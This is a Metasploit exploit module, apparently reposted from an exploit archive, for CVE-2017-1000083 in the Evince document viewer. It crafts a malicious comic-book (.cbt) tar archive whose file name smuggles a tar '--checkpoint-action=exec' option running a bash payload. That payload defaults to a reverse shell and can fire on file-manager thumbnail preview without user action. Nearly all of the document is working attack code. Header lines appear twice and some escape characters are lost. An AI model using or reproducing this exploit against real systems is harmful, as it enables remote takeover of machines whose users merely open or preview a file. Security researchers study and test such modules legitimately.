Evince CBT File Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Evince CBT File Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Evince
before version 3.24.1 when opening comic book `.cbt` files.

Some file manager software, such as Nautilus and Atril, may allow
automatic exploitation without user interaction due to thumbnailer
preview functionality.

Note that limited space is available for the payload (<256 bytes).
Reverse Bash and Reverse Netcat payloads should be sufficiently small.

This module has been tested successfully on evince versions:

3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;
3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Felix Wilhelm', # Discovery
'Sebastian Krahmer', # PoC
'Matlink', # Exploit
'bcoles' # Metasploit
],
'References' =>
[
['BID', '99597'],
['CVE', '2017-1000083'],
['EDB', '45824'],
['URL', 'https://seclists.org/oss-sec/2017/q3/128'],
['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'],
['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'],
['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'],
['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 215,
'BadChars' => "x00x0ax0dx22",
'DisableNops' => true
},
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse_bash',
'DisablePayloadHandler' => true
},
'Targets' => [[ 'Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => '2017-07-13',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt'])
])
end

def exploit
ext = %w[png jpg gif]
path = " --checkpoint-action=exec=bash -c "#{payload.encoded};".#{ext.sample}"

# Tar archive max path length is 256.
if path.length > 256
fail_with Failure::PayloadFailed, "Payload is too large (#{path.length}): Max path length is 256 characters"
end

# Tar archive max file name length is 100.
path.split('/').each do |fname|
if fname.length > 100
fail_with Failure::PayloadFailed, "File name too long (#{fname.length}): Max filename length is 100 characters"
end
end

# Create malicious tar archive
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file path, 0644 do |io|
io.write ''
end
# Pad file to 1+ MB to trigger tar checkpoint action
tar.add_file rand_text_alphanumeric(10..20), 0644 do |io|
io.write rand_text(1_000_000..1_100_000)
end
end
tarfile.rewind
cbt = tarfile.read

print_status "Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ..."
file_create cbt
end
end